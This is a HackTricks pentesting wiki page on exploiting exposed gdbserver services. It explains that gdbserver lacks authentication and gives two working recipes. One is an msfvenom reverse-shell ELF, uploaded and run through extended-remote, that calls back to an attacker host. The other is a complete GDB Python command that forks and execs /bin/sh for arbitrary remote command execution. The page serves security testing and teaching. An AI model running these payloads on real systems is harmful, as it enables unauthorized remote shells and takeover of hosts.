pentesting-remote-gdbserver.md (7489B)
1 --- 2 title: "Pentesting Remote gdbserver" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-remote-gdbserver.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-remote-gdbserver.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Pentesting Remote gdbserver 14 15 ## **Basic Information** 16 17 **gdbserver** enables remote debugging of programs on a target system from a host running GDB. GDB and gdbserver communicate over the remote serial protocol, commonly over TCP or a serial device. The host should use executable and library files that exactly match the target when it needs reliable symbols and debugging behavior.<sup>[[2]](#references)[[3]](#references)</sup> 18 19 gdbserver can listen on an operator-selected TCP port, so service detection may not consistently label it on a nonstandard endpoint. Confirm suspected services manually. Crucially, gdbserver has **no built-in authentication or transport security**: a connected debugger operates with the privileges of the account running gdbserver, so exposing it to an untrusted network is effectively exposing process control.<sup>[[2]](#references)</sup> 20 21 ## Exploitation 22 23 ### Upload and Execute 24 25 If an exposed server accepts `target extended-remote` sessions and permits starting a new program, an authorized tester can create an **ELF payload with msfvenom**, upload it, and execute it. `remote put` depends on remote file-I/O support, while `run` in extended-remote mode uses `set remote exec-file` to select the target-side executable.<sup>[[3]](#references)[[4]](#references)</sup> 26 27 ```bash 28 # Trick shared by @B1n4rySh4d0w 29 msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf 30 31 chmod +x binary.elf 32 33 gdb binary.elf 34 35 # Set remote debugger target 36 target extended-remote 10.10.10.11:1337 37 38 # Upload elf file 39 remote put binary.elf binary.elf 40 41 # Set remote executable file 42 set remote exec-file /home/user/binary.elf 43 44 # Execute reverse shell executable 45 run 46 47 # You should get your reverse-shell 48 ``` 49 50 ### Execute arbitrary commands 51 52 Another approach makes the inferior call `fork`, `execl`, and libc file functions through a [custom GDB Python command](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target). It requires the relevant symbols/functions, a usable `/bin/sh`, permission to fork/exec, and a target state in which GDB can call inferior functions.<sup>[[1]](#references)[[3]](#references)</sup> 53 54 ```bash 55 # Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. 56 target extended-remote 192.168.1.4:2345 57 58 # Load our custom gdb command `rcmd`. 59 source ./remote-cmd.py 60 61 # Change to a trusty binary and run it to load it 62 set remote exec-file /bin/bash 63 r 64 65 # Run until a point where libc has been loaded on the remote process, e.g. start of main(). 66 tb main 67 r 68 69 # Run the remote command, e.g. `ls`. 70 rcmd ls 71 ``` 72 73 First of all **create locally this script**: 74 75 ```python 76 #!/usr/bin/env python3 77 78 import gdb 79 import re 80 import traceback 81 import uuid 82 83 84 class RemoteCmd(gdb.Command): 85 def __init__(self): 86 self.addresses = {} 87 88 self.tmp_file = f'/tmp/{uuid.uuid4().hex}' 89 gdb.write(f"Using tmp output file: {self.tmp_file}.\n") 90 91 gdb.execute("set detach-on-fork off") 92 gdb.execute("set follow-fork-mode parent") 93 94 gdb.execute("set max-value-size unlimited") 95 gdb.execute("set pagination off") 96 gdb.execute("set print elements 0") 97 gdb.execute("set print repeats 0") 98 99 super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER) 100 101 def preload(self): 102 for symbol in [ 103 "close", 104 "execl", 105 "fork", 106 "free", 107 "lseek", 108 "malloc", 109 "open", 110 "read", 111 ]: 112 self.load(symbol) 113 114 def load(self, symbol): 115 if symbol not in self.addresses: 116 address_string = gdb.execute(f"info address {symbol}", to_string=True) 117 match = re.match( 118 f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE 119 ) 120 if match and len(match.groups()) > 0: 121 self.addresses[symbol] = match.groups()[0] 122 else: 123 raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".') 124 125 return self.addresses[symbol] 126 127 def output(self): 128 # From `fcntl-linux.h` 129 O_RDONLY = 0 130 gdb.execute( 131 f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})' 132 ) 133 134 # From `stdio.h` 135 SEEK_SET = 0 136 SEEK_END = 2 137 gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})') 138 gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})') 139 if int(gdb.convenience_variable("len")) <= 0: 140 gdb.write("No output was captured.") 141 return 142 143 gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)') 144 gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)') 145 gdb.execute('printf "%s\\n", (char*) $mem') 146 147 gdb.execute(f'call (int){self.load("close")}($fd)') 148 gdb.execute(f'call (int){self.load("free")}($mem)') 149 150 def invoke(self, arg, from_tty): 151 try: 152 self.preload() 153 154 is_auto_solib_add = gdb.parameter("auto-solib-add") 155 gdb.execute("set auto-solib-add off") 156 157 parent_inferior = gdb.selected_inferior() 158 gdb.execute(f'set $child_pid = (int){self.load("fork")}()') 159 child_pid = gdb.convenience_variable("child_pid") 160 child_inferior = list( 161 filter(lambda x: x.pid == child_pid, gdb.inferiors()) 162 )[0] 163 gdb.execute(f"inferior {child_inferior.num}") 164 165 try: 166 gdb.execute( 167 f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)' 168 ) 169 except gdb.error as e: 170 if ( 171 "The program being debugged exited while in a function called from GDB" 172 in str(e) 173 ): 174 pass 175 else: 176 raise e 177 finally: 178 gdb.execute(f"inferior {parent_inferior.num}") 179 gdb.execute(f"remove-inferiors {child_inferior.num}") 180 181 self.output() 182 except Exception as e: 183 gdb.write("".join(traceback.TracebackException.from_exception(e).format())) 184 raise e 185 finally: 186 gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') 187 188 189 RemoteCmd() 190 ``` 191 192 ## References 193 194 - [1] [Stack Overflow – gdbserver: execute shell commands of the target](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target) 195 - [2] [GNU GDB manual - Using the `gdbserver` program](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Server.html) 196 - [3] [GNU GDB manual - Connecting to a remote target](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Connecting.html) 197 - [4] [GNU GDB manual - File transfer (`remote put` and `remote get`)](https://sourceware.org/gdb/current/onlinedocs/gdb.html/File-Transfer.html)